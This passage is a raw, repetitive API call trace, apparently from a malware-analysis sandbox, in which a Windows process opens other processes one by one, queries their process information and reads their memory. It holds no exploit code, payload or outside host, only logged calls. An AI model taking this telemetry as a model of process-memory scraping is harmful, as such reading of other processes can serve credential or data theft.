lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.627] malloc (_Size=0x62) returned 0xeb6380 [0351.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492162, lpBuffer=0xeb6380, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0351.627] free (_Block=0xeb6380) [0351.628] CloseHandle (hObject=0xa9c) returned 1 [0351.628] _ui64tow_s (in: _Value=0x1404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0351.628] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5124") returned 4 [0351.628] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.628] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.629] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0xa9c [0351.629] GetLastError () returned 0x0 [0351.629] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.629] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.630] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.630] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.630] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.631] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.631] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.631] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.631] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x311c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.631] malloc (_Size=0x72) returned 0xea9720 [0351.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3122c2, lpBuffer=0xea9720, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0351.632] free (_Block=0xea9720) [0351.632] CloseHandle (hObject=0xa9c) returned 1 [0351.632] _ui64tow_s (in: _Value=0x1420, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0351.633] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5152") returned 4 [0351.633] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.633] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0xa9c [0351.634] GetLastError () returned 0x0 [0351.634] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc04100, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03c2a, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.635] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.635] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.635] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.635] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03570, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.635] malloc (_Size=0x118) returned 0xefada0 [0351.635] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03cca, lpBuffer=0xefada0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0351.636] free (_Block=0xefada0) [0351.636] CloseHandle (hObject=0xa9c) returned 1 [0351.636] _ui64tow_s (in: _Value=0x1444, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0351.637] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5188") returned 4 [0351.637] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.637] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0xa9c [0351.638] GetLastError () returned 0x0 [0351.638] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.639] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.639] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.639] malloc (_Size=0x60) returned 0xeb65b0 [0351.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e22b0, lpBuffer=0xeb65b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0351.640] free (_Block=0xeb65b0) [0351.640] CloseHandle (hObject=0xa9c) returned 1 [0351.640] _ui64tow_s (in: _Value=0x1458, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0351.641] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5208") returned 4 [0351.641] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.641] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0xa9c [0351.642] GetLastError () returned 0x0 [0351.642] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5926a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592258, lpBuffer=0x5ec5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.643] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.643] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.643] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.643] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.643] malloc (_Size=0x88) returned 0xe87f70 [0351.643] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5922d8, lpBuffer=0xe87f70, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87f70*, lpNumberOfBytesRead=0x0) returned 1 [0351.644] free (_Block=0xe87f70) [0351.644] CloseHandle (hObject=0xa9c) returned 1 [0351.645] _ui64tow_s (in: _Value=0x1474, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0351.645] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5236") returned 4 [0351.645] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.645] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.646] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0xa9c [0351.646] GetLastError () returned 0x0 [0351.646] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2700, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.647] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.648] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.648] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.648] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.648] malloc (_Size=0xa8) returned 0xe95f20 [0351.648] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22f8, lpBuffer=0xe95f20, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95f20*, lpNumberOfBytesRead=0x0) returned 1 [0351.649] free (_Block=0xe95f20) [0351.649] CloseHandle (hObject=0xa9c) returned 1 [0351.649] _ui64tow_s (in: _Value=0x1480, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") returned 0x0 [0351.650] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5248") returned 4 [0351.650] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.650] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.650] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0xa9c [0351.650] GetLastError () returned 0x0 [0351.651] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.651] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.651] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.652] malloc (_Size=0x72) returned 0xea8fa0 [0351.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c2, lpBuffer=0xea8fa0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0351.652] free (_Block=0xea8fa0) [0351.652] CloseHandle (hObject=0xa9c) returned 1 [0351.653] _ui64tow_s (in: _Value=0x148c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0351.653] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5260") returned 4 [0351.653] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.653] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.654] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0xa9c [0351.654] GetLastError () returned 0x0 [0351.654] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.654] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.654] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.654] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.655] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.655] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.656] malloc (_Size=0x62) returned 0xeb62a0 [0351.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22b2, lpBuffer=0xeb62a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.656] free (_Block=0xeb62a0) [0351.657] CloseHandle (hObject=0xa9c) returned 1 [0351.706] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0351.707] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5324") returned 4 [0351.707] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.707] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.708] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0xa9c [0351.708] GetLastError () returned 0x0 [0351.708] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.709] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.709] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, 